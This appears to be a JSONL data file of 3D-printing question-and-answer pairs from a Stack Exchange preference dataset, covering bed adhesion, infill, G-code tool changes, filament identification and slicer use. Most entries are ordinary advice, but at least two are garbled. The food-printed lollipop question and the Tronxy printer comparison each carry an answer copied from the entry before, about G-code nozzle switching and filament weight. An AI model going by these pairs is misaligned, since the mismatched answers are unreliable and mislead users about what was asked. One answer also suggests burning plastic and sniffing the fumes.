{"id": "hf_477a4fcadd4f", "question": "<p>I have been trying to print an object that is 4 inches tall. About at 3 inches it falls off the bed. I am using tape on the heated bed and right before the print I am wiping the bed with rubbing alcohol. After the first time I tried hot gluing it to the bed when it was mid way through so that it wouldn't fall off but that didn't work. I am printing at 185°C and the bed is 55°C. I am using PLA to print. Should I increase the temperature of the bed or is there something else that is wrong?</p>\n", "question_body": "", "answer": "Even though knowing the model of printer is slightly helpful, it's not critical to making your print work. Your PLA manufacturer should have recommendations for both the bed temperature and the nozzle temperature. Is your print bed glass or metal?\nAs an example, my bed is glass and I set the temperature to 70°C for PLA, but the real temperature at the bed is slightly lower than that.\nI'm using 3M brand blue painters tape. What type of tape are you using? It will make a difference. I originally used cleaner on the tape, but found it was not needed. Blue tape means parts stick so well that you have to get them free before the bed cools too much, or you'll have to remove the tape to get the part free.\nMy PLA nozzle temperature settings range from 190°C to 230°C, depending on the filament. I use the manufacturer's figures and vary them five to ten degrees depending on the results.\nToo hot at the nozzle will burn the filament possibly causing a clog, while too cold will cause extruder feeding problems. You did not reference having feeding problems, which implies your nozzle settings are acceptable.\nConsider to change your tape and to increase the bed temperature. At a 55°C starting point, you could jump five degrees at a time until you get a good bond.\nAlso be certain that your bed is level and properly calibrated. The first layer should apply in a slightly \"squashed\" manner. Too close and the nozzle tears up the tape, but too far and the filament will sit on top and not properly adhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.592157"}
{"id": "hf_8adc0823e51d", "question": "<p>I'm relatively new to 3d printing, and wanted to get a few things understood.\nFirstly, I am unclear on how Hexagonal infill is stronger than, say, diamond pattern. </p>\n\n<p>Can anyone explain how the different shape causes the structure to be stronger? I saw a few places that hex is stronger; usually, more vertices means 'weaker' shape (i.e. a triangle is stronger than a square), so how does that work with hex vs diamond?</p>\n\n<p>Also, in small objects, where the printer makes only a single dot as the infill (a dot instead of a line in larger objects), does the infill strengthen the object at all?</p>\n\n<p>EDIT: I am trying to understand the effect of the infill pattern on the <em>strength</em> of the print, regardless of print time.</p>\n", "question_body": "", "answer": "Correction: I believe I found what you are looking for:\nReport from EngineerDog.com\nThe author concludes that rectilinear infill with a zero degree offset is the strongest. However, I have not seen consensus for or against a certain pattern being strongest. I recommend more investigation .\nMy original answer:\nI don't know that one pattern is significantly stronger than another,\n  provided they each bond well with other infill deposits as well as the\n  perimeters.\nThere are studies around. In 3D printing, strength is rarely the only\n  consideration; one must optimize for strength\nwhere needed\nversus\n  time to print.\nSee\nthis\nas an example of a report which supports the hexagonal or honeycomb\n  pattern as the optimal balance between strength and print time.\nThis\n  one\nis\n  more detailed, but only compares linear infill patterns of varying\n  layer thickness and density. There are many such articles, some more\n  scientifically conducted than others, available with a simple search.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.615573"}
{"id": "hf_9a565f46350e", "question": "<p>I am wondering - of course if the 3D printer's bed big enough - printing multiple copies of the same print could save me significant amount of time in a small production line, excluding minor wastage such as setup time, post-processing time, etc.</p>\n\n<p><a href=\"https://i.stack.imgur.com/aQ1Zt.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/aQ1Zt.png\" alt=\"enter image description here\"></a></p>\n\n<p>e.g. if my foo print takes 10 hours, printing 2x copies at the same time would take 2x times more, increasing linearly or it would be significantly less?</p>\n", "question_body": "", "answer": "The proportion of production improvement is dependent on the size of the items being printed, generally speaking. Unfortunately, it's variable enough to make a precise answer difficult.\nConsider a single unit print. I'll use my printer as an example. Other printers may have similar sequences. The print is begun and the bed has to heat up to temperature. Once the set level is reached, the print head(s) also have to reach temperature. Ignoring for the moment the print duration, one then considers that the printer bed has to cool to release the print.\nIf you have ten items to print, you gain nine times the above elapsed time. That can be a substantial portion of production time.\nOn the flip side, there isn't going to be much benefit in time from ten prints opposed to one. You may lose some post-processing time if you have stringing between the items.\nDirectly related to quantity printing is yet another complication. If you have a single print fail, you've lost that time. As an example, one print may take 18 minutes. Twelve minutes into the print, you have a nozzle clog and have to abort the job. That's an unfortunate loss.\nWith ten prints on the bed, you are two hours into the print and have a failure. Much worse loss of time and productivity.\nObviously, one would prefer to have a properly fully working printer and be able to operate with the confidence that these failures won't appear.\nHobby grade printers can't provide that level of confidence, but industrial/commercial grade printers should, further improving the productivity time for printing multiple items on a bed.\nIf you have hot-swappable print beds, maybe combined with the ability to pre-heat the incoming bed, you gain time-wise. I don't know enough of the commercial grade printers to suggest that such a feature exists. My printer bed is attached with magnets and could be hot-swapped if I exercised care. The bed would begin to cool quickly, making a pre-heated plate all the more valuable. I'll just print multiple items and hope for the best, instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.667017"}
{"id": "hf_b6d879d44f1d", "question": "<p>I am doing a quad-copter now.</p>\n\n<p>I am not sure what color is the best to use for outdoor durability, especially in sunlight.</p>\n\n<p>They say PETg is the most durable material amongst cheap ones.</p>\n\n<p>But what color to choose: white or transparent? Or it does not matter?</p>\n", "question_body": "", "answer": "Unless you plan to use your copter outside Earth atmosphere or expected lifetime is more than tenths of years, UV degradation should not be a problem for PETG. Some of the net sources indicate the\npossibility\nof degradation after significant time of\nconstant\nexposure to outdoor conditions (mostly color change), which sounds mostly like absence of practical experience.\nYet if there are any concerns about losing mechanical properties from the sunlight, any opaque lacquer car paint can help to absorb unwanted radiation and add some nicer view to the model. Acrylic paint will also work (tried this once myself) but it may not be suitable for outdoor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.705756"}
{"id": "hf_d177dfafa3ee", "question": "<p>I have been playing around with creating scripts to generate some custom G-code for a Malyan M180 and I am having trouble understand what commands to use to switch nozzles. Sometimes I can get the nozzles to switch and it doesn't recenter but sometimes it does.\nI have been using:</p>\n<pre><code>G54\nM108 T0; switch to left\n</code></pre>\n<p>and</p>\n<pre><code>G55\nM108 T1; switch to right\n</code></pre>\n<p>Has anyone else looked into this and have any idea what commands or sequence of commands should be used to change nozzles?</p>\n", "question_body": "", "answer": "No, M108 does not do that. You are looking for\nT#\n, where # is the tool position you want:\n```\n```\nT1 ; switch to tool position 1 \n\nT3 ; switch to tool position 3\n```\n```\nThis tells the processor to send all heating, cooling and flow commands to this tool until another tool change is specified, and invokes the X/Y(/Z) offset for the new tool position.\nSee\nhttp://reprap.org/wiki/G-code#T:_Select_Tool", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.741087"}
{"id": "hf_058c1707f9b9", "question": "<p>In trying to understand 3D printers, I have watched some YouTube videos where the crafters make items with hinges. That in itself blows my mind. It is hard to grasp how something with moving parts can be printed. But specifically I am wondering if the concept can be extended to food printers to make, for example, a sugar or chocolate telescoping lollipop (sucker)?</p>\n", "question_body": "", "answer": "No, M108 does not do that. You are looking for\nT#\n, where # is the tool position you want:\n```\n```\nT1 ; switch to tool position 1 \n\nT3 ; switch to tool position 3\n```\n```\nThis tells the processor to send all heating, cooling and flow commands to this tool until another tool change is specified, and invokes the X/Y(/Z) offset for the new tool position.\nSee\nhttp://reprap.org/wiki/G-code#T:_Select_Tool", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.768392"}
{"id": "hf_ff81ff78046c", "question": "<p>I've heard that using hairspray is useful for keeping the 3D objects from peeling off of the bed, but every example I have seen where someone uses hairspray, they use it on a glass bed.</p>\n\n<p>Is it okay to use it on a metal bed as well?</p>\n", "question_body": "", "answer": "Do you mean bare metal or metal with some film on top? You can apply hair spray to bare metal, but you will have troubles cleaning it off. Solvents do not evaporate hair spray, they only turn it into thick sticky goo you will need to clean off. I recommend that you try glue stick or even beer (seriously) before hair spray.\nYou should also know that\nany\nadhesive is required only when your printer has bed leveling issues. After I finally dealt with bed leveling, I print ABS, and even ABS/PC mix (nasty) without any adhesive, on a bare kapton film over a metal bed. I rub it with alcohol before printing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.803885"}
{"id": "hf_9bf44bb0b926", "question": "<p>I'm looking for a post processing method for increasing the functional strength of a 3d printed part originally made by FDM. I've tried printing my part with solid infill but the layer separation is still the primary failure point. I'm looking for a way to get something closer to a cast or injection molded part. Obviously less strength but there is a pretty big gap in material properties.</p>\n\n<p>The only method I've thought of that might work is drilling a small hole, or series of holes in my part to inject an epoxy into the part. Haven't tried it.</p>\n\n<p>I'm open to any possible ideas or advice if someone has tried something like this. Not sure if this is necessarily the best place but thought it's a good place to start.</p>\n", "question_body": "", "answer": "Layer separation will always be the primary failure point of FDM. So your best action would be to design parts in such a way that forces are applied across the Z axis, not along it.\nIf layer bonding is too weak, this is a problem that should be solved during printing. Possible reasons are:\nNozzle temperature too low\nFilament contains moisture from the air\nFilament covered with dust\nInappropriate ratio of nozzle diameter/layer height. We usually use 2 (0.4 nozzle for 0.2 layer) while theory suggests it should be more than 3.\nInappropriate cooling of part during printing, drafts.\nIf all this things are set right, no post-process treatment will improve the part. If not, you could reduce inner tensions by blasting the part with hot air gun, but it is better to solve the problem, not the consequences.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.850458"}
{"id": "hf_013f716b2b22", "question": "<p>Is there any way to test what kind your filament is? There are no labels on the spools and I don't know whether they are ABS or PLA.</p>\n\n<p>I got the plastic with the printer, which is no longer sold (Solidoodle 2). Since I bought it on eBay that is probably why it has unprofessional filament. The plastic filament came with the printer which is now off sale (Solidoodle v2).</p>\n\n<p>I set my extruder to 210&nbsp;°C and bed to 50&nbsp;°C and it printed fine (with tons of hairspray and painters tape).</p>\n\n<p>I figured out where I got it. I got it from Solidoodle (who have gone out of business) when I bought the Solidoodle 2 right after it came out.  </p>\n\n<p>I bought PLA and ABS so it has to be one of the two. Any other ways without having to burn and smell plastic? I just have the roll with no numbers, works or anything on it. And how to I smell without breathing in the fumes?</p>\n", "question_body": "", "answer": "Using The Burn Test to Identify Plastic Materials\nis one way. From the link:\nTo initially determine whether a material is thermoplastic (meltable)\nor thermoset (non-meltable) type, heat a metal or glass stirring rod\nuntil it glows red or orange (to about 500°F / 260°C) and press it\nagainst the sample. If the sample softens, the material is a\nthermoplastic; if it does not, it's probably a thermoset.\nNext, hold the sample to the edge of a flame until it ignites. If no\nflame is produced quickly, hold the sample in the flame for about 10\nseconds. If the material burns, note the color of the flame, the\nnature of the smoke, the presence of soot in the air and whether,\nwhile burning, the sample drips.\nNext, extinguish the flame and cautiously smell the fumes. To identify\nthe odor, samples of known plastic samples for comparison can be most\nhelpful. Finally, check your observations against the known\ncharacteristics of each plastic as shown in the table below. Once you\nhave made a tentative identification, it is usually desirable to\nrepeat the flame test once or twice to confirm the results of the\noriginal identification. Remember that additives may affect results.\nFor example: flame retardants can mask the polymer material's normal\nflame & smoke burning characteristics.\nHowever, remember ABS and PLA aren't the only types of filament.\nABS and PLA have different melting points and smell different when melting. Maybe try melting little bits on a soldering iron or stove top. The smell could give it away. Just don't breathe in the fumes, it can be toxic, also molten plastic particles in lungs aren't great either. I'd recommend contacting the supplier.\nNo markings complicates matters. Not very professional of the supplier. Smelling without breathing in fumes, just don't put your face directly over the fumes, just hold it away from your face and sniff sniff the air. if the smoke curls are going into your nose you are doing it wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.873852"}
{"id": "hf_aa801b811607", "question": "<p>I have an stl with multiple parts that I want to split up. Cura 15 had an option to \"split object into parts\" but I can't find that in cura 2.4. Did it get removed?</p>\n", "question_body": "", "answer": "I don't think this feature was implemented at all with Cura v2.x.\nAs the developers say on the v2.1 release, \"Cura has been completely reengineered\".\nFinding proper changelog documentation appears to be pretty hard because they have not posted any actual changelogs except the \"user friendly viewable\" changelogs which only list additions of new features but don't display what everything they changed between each version of their application.\nHere is the most complete changelog I could find. I do not see any mention of this feature.\nhttps://ultimaker.com/en/products/cura-software/release-notes\nGoing through the Cura 2 manual or the Cura 2.1 FAQ, also does not mention this feature.\nhttps://ultimaker.com/en/resources/20406-installation-cura-2-1\nFurthermore, searching around for version 2 \"split objects\" lead to forum posts of people suggesting to use some other software to achieve this specific task. If you decide to go this route, I recommend Meshmixer from Autodesk to manipulate your models and then export to STL and import them to Cura either as a whole new position set up or separate model files where you can change them there as you need to (meshmixer allows for object repositioning around a defined build plate so you can just import the whole assembly into cura and then print).\nIt might also be worth to put in a feature request on the UM forums.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.898265"}
{"id": "hf_16be88ac6e2b", "question": "<p>I have an STL file and I would like to know how many grams would this print consume. Is there a software so I can get it or an online link that can say me  that?</p>\n", "question_body": "", "answer": "Some slicing programs will give this information. Here is the first comment at the end of the print, which gives volume and length of material used, from gcode generated by\nSlic3r\n:\n```\n```\n; filament used = 388.6mm (0.9cm3)\n```\n```\nAccording to\nToyBuilder Labs\n, ABS is 1.04 g/cm\n3\n, so 0.9 * 1.04 =\n0.936\n, or just under one gram.\nIn the G-code file produced by the slicer, search for \"filament\" or \"M30\" - it's right after the M30. You might need to use the verbose G-code option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.936849"}
{"id": "hf_b25b3a7b25ff", "question": "<p>I am wanting to buy a 3D printer to add to my shop.</p>\n\n<p>I am an engineer and enjoy making/building things so the kit idea sounds fun and economical.</p>\n\n<p>I see Tronxy has two different styles for their larger printers:</p>\n\n<ul>\n<li>P802 (reprap frame) style</li>\n<li>X3 (metal frame) style.</li>\n</ul>\n\n<p>As far as I can see, both printers have the same basic resolution, accuracy, and material specs.</p>\n\n<ol>\n<li>What are the advantages/disadvantages/differences between the\nP802 and X3? </li>\n<li>How important is auto-leveling?</li>\n</ol>\n", "question_body": "", "answer": "Some slicing programs will give this information. Here is the first comment at the end of the print, which gives volume and length of material used, from gcode generated by\nSlic3r\n:\n```\n```\n; filament used = 388.6mm (0.9cm3)\n```\n```\nAccording to\nToyBuilder Labs\n, ABS is 1.04 g/cm\n3\n, so 0.9 * 1.04 =\n0.936\n, or just under one gram.\nIn the G-code file produced by the slicer, search for \"filament\" or \"M30\" - it's right after the M30. You might need to use the verbose G-code option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.960481"}
{"id": "hf_9d243b3e9050", "question": "<p>I am about to purchase a TronXY X3 or P802; but, my PC is running Windows 10.</p>\n\n<p>The spec sheet for the printers does not list anything above Windows 7.\nIs anyone using either of these printers with Windows 10?</p>\n", "question_body": "", "answer": "Since the printer supports using an SD card, you don't\nneed\nto connect it directly to a PC. Serial over USB has been broken in the past in various Win10 builds, I've not tried it recently and I've not tried connecting my A8 to my PC recently either.\nIf you need to use USB, and can't make it work with Windows, there is always the option of using a Raspberry Pi single-board computer (which you can then connect to by VNC from your PC). Depending on the software you want to use, this might resolve any remaining issues you have.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:50.984365"}
{"id": "hf_06d26ecc4a85", "question": "<p>I spent the last days trying to make the best gears I could but they are not \"smooth\" nor good. I searched at thingverse with \"gear\" but I see no set of gears. I would like someone to point me a good set of gears (with 5, 10, 15... teeth for example) so I can use this STL file with Google Sketchup.</p>\n\n<p>Do you guys know any good matching gears that I could print?</p>\n\n<p>I will be using this gear in a fast spinning matching so it would be nice these gears to be well designed to support some fast moving.</p>\n\n<p>Also, I think in my case I would like to use gears with this shape (the white gear). Any idea why is this gear design better than the usual?  <a href=\"https://i.stack.imgur.com/7mHxj.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7mHxj.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "This type of gear is known as a \"herringbone\" gear. A traditional straight-cut gear is strong, but can cause more vibration as each tooth engages and disengages. A helical gear (slanted tooth) reduces that vibration as the tooth engagement is more uniform. However the angle of the teeth causes a sideways force that may be undesired. A herringbone tooth design effectively cancels the sideways forces but gets the uniform tooth engagement.\nA search for \"herringbone\" on Thingiverse comes up with many gears of this type.\nRegarding the quality, if you are not happy with the results of your own design, that's OK - gears are shockingly complex, and people make careers of gear design! However, if you have a good CAD model that just isn't printing well, it's not likely a bad STL.\nAn STL from a different source is likely to have similar quality with the same slicer/printer setup. You might be able to improve print quality of your design by changing settings on your slicer or adjusting your printer. I'd suggest asking a question with your current setup and specific print quality issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.090205"}
{"id": "hf_f84221508582", "question": "<p>Why does the Ultimaker 3D Printer has a Heater + Heater transfer plate (aluminium) + Glass?</p>\n\n<p>I wonder why a glass plate, and if is possible to remove the glass and print directly in the aluminium plate adjusting the heating.</p>\n\n<p><a href=\"https://ultimaker.com/en/products/ultimaker-3\" rel=\"nofollow noreferrer\">Link to the ultimaker</a>.</p>\n\n<p>Pictures:</p>\n\n<p><a href=\"https://i.stack.imgur.com/hBsTd.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hBsTd.jpg\" alt=\"Ultimaker view\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/uf2vc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uf2vc.jpg\" alt=\"PCB Heater view\"></a></p>\n", "question_body": "", "answer": "Printing directly onto aluminum is something I've never seen before, likely due to the fact that PLA (and other materials) do not adhere reliably to aluminum. Instead, many opt to use blue tape, kapton tape, PEI, buildtak/commercial build surface, or an additional build surface, such as glass. When heated, clean glass can be directly printed on. The use of a glue stick, wood glue, isopropyl alcohol, the above adhesion aids, and others can help adhere your part better hot or cold.\nCan you remove the glass, add any of the above to the aluminum plate, and print on that? So long as it's a clean, flat surface, yes. But it'll be more work for you to replace or clean the build surface, as you won't be able to simply remove the glass and replace it. You're not gaining much by taking out the glass. A slightly faster bed heat-up, perhaps.\nAs for\nwhy\nUltimaker went with an aluminum transfer plate, that is a slightly more\nengineering\noriented question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.149284"}
{"id": "hf_ae9fc96a86b9", "question": "<p>In a discussion about motors with a friend who used to work in the robotics industry, he told me that he despised stepper motor systems, as every stepper based system he had worked on required a bunch of hacky software fixes to make the system perform to the required level.</p>\n\n<p>He said that servo motor based systems had their own foibles, but at least they could generally be tuned out and you always knew that if the encoder said you were in a given place then you would be (to within the constraints of the backlash compensation).</p>\n\n<p>Because of this, I was wondering if there were any options for using brushless DC motors + encoders + drive electronics instead of steppers + drive electronics. </p>\n", "question_body": "", "answer": "I think using these technologies is possible, and may be better than stepper motors, but by using these you loose the main advantages of the steppers : the simplicity and the cost.\nWhen you use steppers, you assume your motors are strong enough to don't loose any step, and you \"just\" command them. Steppers are not so expensive and are compacts, so your 3D printer is \"simple\".\nIf you use separated motors and encoders, you can do better job, but your 3D printer will be a lot more expensive, harder to tune, and harder to program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.185152"}
{"id": "hf_4c3025c16a38", "question": "<p>I am doing laboratory experiments and need to print some components.</p>\n\n<p>I am working with different aqueous (water) solutions containing sulphuric acid (H<sub>2</sub>SO<sub>4</sub>), hydrochloric acid (HCl), and hydrogen peroxide (H<sub>2</sub>O<sub>2</sub>), separately and in combination. The pH of the solutions are in the range 0 to 7. Temperatures don't exceed 40° Celsius.</p>\n\n<p>In another application we have aqueous solutions containing high concentrations of FeCl<sub>3</sub>, HCl and in some cases H<sub>2</sub>O<sub>2</sub> at temperatures of up to 180° Celsius.</p>\n\n<p>Which 3D printing filament materials can you recommend for these applications?</p>\n", "question_body": "", "answer": "There are two issues you have here, one is temperature stability and the other is chemical reactivity of plastics. I can't help you with the chemistry side, but I can help with the temperature.\nApplication 1 (Temp < 40 °C)\nAny FDM plastic will perform reasonably well under these temperatures. I would suggest trying a Nylon, PETG or a PolyCarbonate filament as I know these are more resistant to acids than PLA or ABS. As far as strength of the parts, all FDM plastics will work well\nApplication 2 (Temp > 180 °C)\nThis temperature range is above the glass transition temperature of the PLA, ABS, PETG and Nylon are all well below 180 °C and therefore aren't worth considering. Your best option is PolyCarbonate, or PolyCarbonate-ABS which are both fairly high (roughly 140-150 °C). However, are both below your minimum temperature threshold.\nMy conclusion is to try a polycarbonate sample and see how it reacts to the chemicals you're working with, though it doesn't look hopeful.\nFor Chemical reactivity, I did some Google-fu and found a few links that look helpful for PolyCarbonate:\nChemical resistance polycarbonate\nPolycarbonate Chemical Compatibility Chart", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.231316"}
{"id": "hf_d98308eadd40", "question": "<p>I have a reprap printer with 0.3mm nozzle. It prints quite well, I am really surprised with quality of all the surfaces and the general precision of the parts printed. BUT I HAVE a problem: when making (for example) a 10mm x 10mm x 10mm cube with a 2.8mm diameter hole from top to bottom (to fit a screw) after I print it gets a size of 3mm diameter.</p>\n\n<p>I know this is related to extrusion width but cant the slicer software (I am using s3d) know that it is using a specific extrusion width and compensate for that in order to get the diamter right?</p>\n\n<p>OBS: this printer is supposed to get 0.05mm precision.</p>\n", "question_body": "", "answer": "It's a generally accepted fact that FDM/FFF printers will have\ndeviations when it comes to holes and perimeters\n. Typically, holes print smaller than designed and external surfaces end up larger than designed.\nIn your case, it seems to be the opposite: the hole is too big. It could be that you're just printing too big overall. You might want to make sure that your printer is printing the 10mm X/Y dimension in you example correctly. If it's too big, part of it may be just the typical oversized perimeter, but some of it might be due to incorrect firmware X/Y 'steps/mm' or extrusion like you mentioned.\nSee also:\n\"Are you printing undersized holes?\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.255777"}
{"id": "hf_ded760d10c2f", "question": "<p>What does the pink color in Slic3r preview mean? Yellow is my model, green is support, and pink is..?</p>\n\n<p>If the pink color is some kind of warning, how do I fix it?</p>\n\n<p><a href=\"https://i.stack.imgur.com/2PIRU.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2PIRU.jpg\" alt=\"Illustration from preview\"></a></p>\n", "question_body": "", "answer": "Having had direct experience with Slic3r, I can offer up this information. Your model is composed of bottom layers, top layers, outside layers, infill, rafts, brims and perhaps something I've missed.\nThe program provides for color coding of these features. In the case of your image, the pink represents a top layer, but may also represent a type of infill, depending on \"context.\"\nConsider to slice the model, select the preview tab, which you have showing here, then using the slider control to the right of the image window. As you move it from bottom to top, you can observe the construction of the model and each feature as it appears, layer by layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.279691"}
{"id": "hf_43e86ab16473", "question": "<p>Whenever I try putting the filament through the nozzle it does not go through. I have searched everywhere online and have found nothing.</p>\n", "question_body": "", "answer": "My first step would be to cut the filament at a bit of an angle.  This will help the filament enter the extruder correctly.\nIf you're still having trouble, you may have a clogged nozzle.  This article by Lifewire -\n3D Printer Extruder Nozzle Clogged? Here Is How To Unclog It\nhas some good info.\nI've also heard stories about the Bowden Tube (the PTFE tube that guides the filament from the extruder to the hotend) becoming warped or melted in cases where the printer's temperature control went awry.  This is rare as PTFE doesn't melt until 320°C.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.306848"}
{"id": "hf_cfa6cc8ca1c5", "question": "<p>I had this idea for bulky parts for just printing the shell (PLA) then pouring in some kind of filler in to make up the bulk/strength.</p>\n\n<p>Printing bulk .2mm at a time line by line is slow and subject to warping!</p>\n\n<p>So I though precision print a shell and fill it with 'something' - has this been done by anyone? What is a good something to use?</p>\n\n<p>Yours hopefully!</p>\n", "question_body": "", "answer": "Or you could use a second head to do low-density infill with very thick layers, like a 1.5mm nozzle and 1.2mm layers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.354971"}
{"id": "hf_a3730a02fc16", "question": "<p>I mean 3D forms like these? In a small scale (height: 1-2 cm, width: 0.5 cm).</p>\n\n<p><a href=\"https://i.stack.imgur.com/Yd8Cl.png\" rel=\"nofollow noreferrer\" title=\"Detailed 3D form#1\"><img src=\"https://i.stack.imgur.com/Yd8Cl.png\" alt=\"Detailed 3D form#1\" title=\"Detailed 3D form#1\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/qV4Np.png\" rel=\"nofollow noreferrer\" title=\"Detailed 3D form#2\"><img src=\"https://i.stack.imgur.com/qV4Np.png\" alt=\"Detailed 3D form#2\" title=\"Detailed 3D form#2\"></a></p>\n\n<p>I want to keep all the form's details.</p>\n\n<p>If it is possible, what printer do you advise? How much does it cost to print one piece like that in terms of ink? And what is the most permissive software for this kind of printing?</p>\n", "question_body": "", "answer": "Best option for something like this would be to use an SLA printer. They can do sharper image detail compared to FDM style printers.\nThat being said, printing something like this poses its own set of challenges. In order to print a part, some surface needs to be in contact with the built platform, and depending on which surface chosen, you will end up with having some amount of overhang, or undercut. Not an issue in and of itself as these can be supported with support structures. For the size that you're looking at printing though, removal of the support material will be a bigger challenge.\nAs for costing of this, that's not something that this forum is used for, but these structures don't look absurdly difficult to print. If you were to contact a local print shop, or check on Google for an online print house, they will be able to give you costing on printing these.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.393640"}
